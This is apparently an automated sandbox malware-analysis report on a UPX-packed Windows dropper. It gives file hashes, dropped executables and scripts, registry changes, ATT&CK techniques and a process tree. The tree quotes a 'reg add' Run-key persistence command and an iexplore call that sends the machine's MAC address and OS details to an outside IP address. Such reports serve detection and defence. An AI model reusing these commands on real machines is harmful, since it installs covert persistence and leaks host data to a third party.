ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda

Analysis

max time kernel
153s
max time network
148s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
01/12/2022, 13:51

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General

Target

ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
Size

365KB
MD5

56d60722af183b394ddb2760e261909e
SHA1

e87182c5b3a6b772a26d601aef6366182c560915
SHA256

ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda
SHA512

ed852a3cb6bb720882c4b34e5b2117e59c8c64c0e83ec0441cd90ce394061b90f8b35210d31abc72094c79a039bb97ff52f82cf9276e8ea5c766e91f9efb7862
SSDEEP

6144:pTfFDbRnOTr085p8mkJeapssUZn7kyPTd4lnqukJja9zTK:v5Oc85prapshZn7/B5cG

Score

8^/10

persistence upx

Malware Config

Signatures

Executes dropped EXE 3 IoCs

pid	Process
980	t2.exe
1076	bho.exe
1720	test.exe

UPX packed file 10 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00060000000144a3-55.dat	upx
behavioral1/files/0x00060000000144a3-56.dat	upx
behavioral1/files/0x00060000000144a3-58.dat	upx
behavioral1/memory/980-64-0x0000000000400000-0x0000000000421000-memory.dmp	upx
behavioral1/files/0x00060000000142e0-69.dat	upx
behavioral1/files/0x00060000000142e0-70.dat	upx
behavioral1/files/0x00060000000142e0-73.dat	upx
behavioral1/memory/1720-75-0x0000000000400000-0x0000000000424000-memory.dmp	upx
behavioral1/memory/980-79-0x0000000000400000-0x0000000000421000-memory.dmp	upx
behavioral1/files/0x00060000000144a3-83.dat	upx

Loads dropped DLL 6 IoCs

pid	Process
1632	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
1632	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
1632	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
1632	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
1632	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
1632	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\micrososot = "c:\\program files (x86)\\winsoft9\\t2.exe "	reg.exe

Drops file in Program Files directory 32 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\winsoft9\9ptv.ico	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File created	C:\Program Files (x86)\winsoft9\game.ico	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File opened for modification	C:\Program Files (x86)\winsoft9\mm.ico	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File created	C:\Program Files (x86)\winsoft9\test.exe	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File created	C:\Program Files (x86)\winsoft9\3.vbs	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File opened for modification	C:\Program Files (x86)\winsoft9\77zb.ico	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File created	C:\Program Files (x86)\winsoft9\kusila.ico	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File opened for modification	C:\Program Files (x86)\winsoft9\kusila.ico	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File opened for modification	C:\Program Files (x86)\winsoft9\taobao.ico	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File opened for modification	C:\Program Files (x86)\winsoft9\3.vbs	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File opened for modification	C:\Program Files (x86)\winsoft9\game.ico	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File created	C:\Program Files (x86)\winsoft9\mm.ico	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File created	C:\Program Files (x86)\winsoft9\t2.exe	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File opened for modification	C:\Program Files (x86)\winsoft9\bho.exe	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File created	C:\Program Files (x86)\winsoft9\77zb.ico	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File created	C:\Program Files (x86)\winsoft9\qq.ico	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File created	C:\Program Files (x86)\winsoft9\taobao.ico	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File opened for modification	C:\Program Files (x86)\winsoft9\1.vbs	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File created	C:\Program Files (x86)\winsoft9\WINDOWS\time\mian.dll	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File opened for modification	C:\Program Files (x86)\winsoft9\qq.ico	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File opened for modification	C:\Program Files (x86)\winsoft9\test.exe	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File opened for modification	C:\Program Files (x86)\winsoft9\WINDOWS\time	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File created	C:\Program Files (x86)\winsoft9\__tmp_rar_sfx_access_check_7103552	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File opened for modification	C:\Program Files (x86)\winsoft9\9ptv.ico	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File created	C:\Program Files (x86)\winsoft9\1.vbs	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File opened for modification	C:\Program Files (x86)\winsoft9	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File opened for modification	C:\Program Files (x86)\winsoft9\WINDOWS\time\mian.dil	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File opened for modification	C:\Program Files (x86)\winsoft9\WINDOWS	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File created	C:\Program Files (x86)\winsoft9\WINDOWS\time\mian.dil	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File opened for modification	C:\Program Files (x86)\winsoft9\WINDOWS\time\mian.dll	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File opened for modification	C:\Program Files (x86)\winsoft9\t2.exe	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
File created	C:\Program Files (x86)\winsoft9\bho.exe	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Survival_0.txt	t2.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 59 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000899d0fe20cdd2f4485282e179bf8630a00000000020000000000106600000001000020000000ed27435191808ab6e0f7bb9fc1c7c0b24cf132a8238a480b9422cb8d038992fa000000000e8000000002000020000000f13871f3634f32e7834fb7749d26d6ee89fd2b0915e9f2dc1587c62387f7d38a20000000758b19bd4efafeb27b5c76455b741a0eeeac58994fb08a673dcdb12e6461b7cf40000000b6e22b81edeca525304df8e7b4c880ebcdd5b4cd90c3d69d415198067d45580bf5d0333558a700eaa4c0cc5ba15f68879a1d1f03f67f8d7eeb27beb162992c3c	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 50e0ee9e5507d901	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "376261085"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main	t2.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\2022123	test.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000899d0fe20cdd2f4485282e179bf8630a000000000200000000001066000000010000200000007cbbeeba817ed3337907d5e1aec07dcfbf55166fd5a08edea97c535a84e342e2000000000e8000000002000020000000b50f7b3de09b89a52243e9d9ad8372cd936646161e41d9e38fe25dc699d4edbd900000003a4862c23846deccd45aa770721e5be25f7569a3562c2474c5910ee41908c6ab798ba83682f1ea175825bbc6216833e2e43286efb8b9682a724a3c7b7bda108a214e09fafb1cddbe5c7b4337b97e98fed53de91fbf1915de1d9b8a9a09ab4b7e6a4082112f14de1eb6fafa1edbdacb6944c6b81c227dcfcb4f1fe45618a33ff8bd0dcd5592c2b669f61ce111887bd1f940000000931f623c22f0feae3b545fefaf953ca964fea2ccee387a43de3657f34248d98d623714eb42df271c295b0d45ff261e587d28fbfa8cd33b7a6d0984ef4ce319a8	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{D63F5DF0-7348-11ED-B390-DA7E66F9F45D} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{D5EE6F31-7348-11ED-B390-DA7E66F9F45D} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe

Suspicious behavior: EnumeratesProcesses 38 IoCs

pid	Process
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe
980	t2.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
1184	iexplore.exe
1380	iexplore.exe
1380	iexplore.exe

Suspicious use of SetWindowsHookEx 17 IoCs

pid	Process
980	t2.exe
980	t2.exe
980	t2.exe
1184	iexplore.exe
1184	iexplore.exe
1380	iexplore.exe
1380	iexplore.exe
272	IEXPLORE.EXE
272	IEXPLORE.EXE
1840	IEXPLORE.EXE
1840	IEXPLORE.EXE
1380	iexplore.exe
1380	iexplore.exe
964	IEXPLORE.EXE
964	IEXPLORE.EXE
964	IEXPLORE.EXE
964	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 1632 wrote to memory of 980	1632	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe	27
PID 1632 wrote to memory of 980	1632	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe	27
PID 1632 wrote to memory of 980	1632	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe	27
PID 1632 wrote to memory of 980	1632	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe	27
PID 1632 wrote to memory of 1076	1632	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe	28
PID 1632 wrote to memory of 1076	1632	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe	28
PID 1632 wrote to memory of 1076	1632	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe	28
PID 1632 wrote to memory of 1076	1632	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe	28
PID 1632 wrote to memory of 1720	1632	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe	29
PID 1632 wrote to memory of 1720	1632	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe	29
PID 1632 wrote to memory of 1720	1632	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe	29
PID 1632 wrote to memory of 1720	1632	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe	29
PID 1720 wrote to memory of 1380	1720	test.exe	31
PID 1720 wrote to memory of 1380	1720	test.exe	31
PID 1720 wrote to memory of 1380	1720	test.exe	31
PID 1720 wrote to memory of 1380	1720	test.exe	31
PID 1632 wrote to memory of 1776	1632	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe	30
PID 1632 wrote to memory of 1776	1632	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe	30
PID 1632 wrote to memory of 1776	1632	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe	30
PID 1632 wrote to memory of 1776	1632	ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe	30
PID 1184 wrote to memory of 272	1184	iexplore.exe	37
PID 1184 wrote to memory of 272	1184	iexplore.exe	37
PID 1184 wrote to memory of 272	1184	iexplore.exe	37
PID 1184 wrote to memory of 272	1184	iexplore.exe	37
PID 1380 wrote to memory of 1840	1380	iexplore.exe	36
PID 1380 wrote to memory of 1840	1380	iexplore.exe	36
PID 1380 wrote to memory of 1840	1380	iexplore.exe	36
PID 1380 wrote to memory of 1840	1380	iexplore.exe	36
PID 1380 wrote to memory of 964	1380	iexplore.exe	38
PID 1380 wrote to memory of 964	1380	iexplore.exe	38
PID 1380 wrote to memory of 964	1380	iexplore.exe	38
PID 1380 wrote to memory of 964	1380	iexplore.exe	38
PID 980 wrote to memory of 2020	980	t2.exe	40
PID 980 wrote to memory of 2020	980	t2.exe	40
PID 980 wrote to memory of 2020	980	t2.exe	40
PID 980 wrote to memory of 2020	980	t2.exe	40

C:\Users\Admin\AppData\Local\Temp\ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe
"C:\Users\Admin\AppData\Local\Temp\ccf859d71b2177782404578f3d19dc75132c6c0534e2ec2cac9353e51752acda.exe"
1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1632
- C:\Program Files (x86)\winsoft9\t2.exe
  "C:\Program Files (x86)\winsoft9\t2.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - Modifies Internet Explorer settings
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:980
- - C:\Windows\SysWOW64\reg.exe
    reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v "micrososot" /d "c:\program files (x86)\winsoft9\t2.exe " /f
    3⤵
    - Adds Run key to start application
    PID:2020
- C:\Program Files (x86)\winsoft9\bho.exe
  "C:\Program Files (x86)\winsoft9\bho.exe"
  2⤵
  - Executes dropped EXE
  PID:1076
- C:\Program Files (x86)\winsoft9\test.exe
  "C:\Program Files (x86)\winsoft9\test.exe"
  2⤵
  - Executes dropped EXE
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:1720
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Windows\system32\..\..\Program Files\Internet Explorer\iexplore.exe" http://58.218.198.119:8080/count.asp?mac=da-7e-66-f9-f4-5d&os=Microsoft Windows XP&flag=dd36240e306c166dd7f0613efeb0c076&user=test
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1380
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1380 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:1840
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1380 CREDAT:406530 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:964
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Program Files (x86)\winsoft9\1.vbs"
  2⤵
  PID:1776

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1184
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1184 CREDAT:275457 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:272

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files (x86)\winsoft9\1.vbs

Filesize
154B

MD5
efafb2e23c3a56c7c0a585c8f3a74c15

SHA1
24e2f29d57199a01d8e521b2468cfb2e4d338b3a

SHA256
45a4effd474083ae4bf4b8cef347f78c9d243aee6a7a9dd01b2fc9a069f26678

SHA512
9bc509ead39fef370be722e2e90730ce089857107d4d1d273502f85da26e213031e8f3a1e14f7d174274bf936121ea067c438850d36c510ef0ab37f7b8cba2ee

Download Submit
C:\Program Files (x86)\winsoft9\bho.exe

Filesize
65KB

MD5
4ba9a7d68cf22eef4354e6695b14109c

SHA1
20b6adf9febd22fa74662bf8dfd5a4f5803eda38

SHA256
9e57af5d4f49661f342fc3e3f77db9b5d04cc861d1c102c44bfb663e9a167fee

SHA512
907c73851032ab3ac07ea33bcba794bfce3c429787e34e5e85724c9011abad6277b235613db6da8ecd47619327b2cff14af89792943f248282f7a5e386aa85ac

Download Submit
C:\Program Files (x86)\winsoft9\t2.exe

Filesize
12.9MB

MD5
c59ad09f4eb12b46a7ba0a38227da51e

SHA1
06b7396f728ff236b8ef13d2416fef312e592939

SHA256
9b46fb443da0aab5aa10aa0e630b2a8b30cd7476f559c0ead337af9f25095316

SHA512
f6e3ad3230bd1beae8e30d17f1e7338a1a13cfb1c5eb3c79acdcaf1c1a3d20e7401f691e23df7e188b0ff6a0f81279bb5812893eab2493501cb232dee20ef145

Download Submit
C:\Program Files (x86)\winsoft9\test.exe

Filesize
12.9MB

MD5
715c3c7d943e785d326bf4d8940bfd2a

SHA1
519ba001798b16ad089f409c738d869c91202d8c

SHA256
b1d0c0813470896ca9d85c7e7604d10ae63c528f4d85f70a77e82233d659bfd7

SHA512
0901f98b09ed9136062c59fd5feed75b514dffa94bc272d1564ca574822e03b0fb9b7bab975858838443dfe3d243d4af92596789d0a2f0f52b52014207fddf90

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{D5EE6F31-7348-11ED-B390-DA7E66F9F45D}.dat

Filesize
5KB

MD5
4532a909c358f27ec595f9aea09f77ae

SHA1
d81b4fe9651950227688121c9a60f1c3f7081acd

SHA256
9ff448d77fba4deaf72c8472426faba143ce542bceda8c4747837e38c24d01a4

SHA512
b2e0c6e5e4b4633521535038ee244d2e8f979ee0395a699d678a12dca9d174cbc425f104f7adccf50f4b0d3be3601f859b71218eb8b0a53909d37f62933fc512

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{D63F5DF0-7348-11ED-B390-DA7E66F9F45D}.dat

Filesize
4KB

MD5
a5569ca4afca676b859f250b1e747858

SHA1
b7f88a0577e405e0875ea80a0d719debbc5547d7

SHA256
ffd7b5d98a4c2c3da69261d48933bce5018d5678a762dc2d73f0f5a1b357af96

SHA512
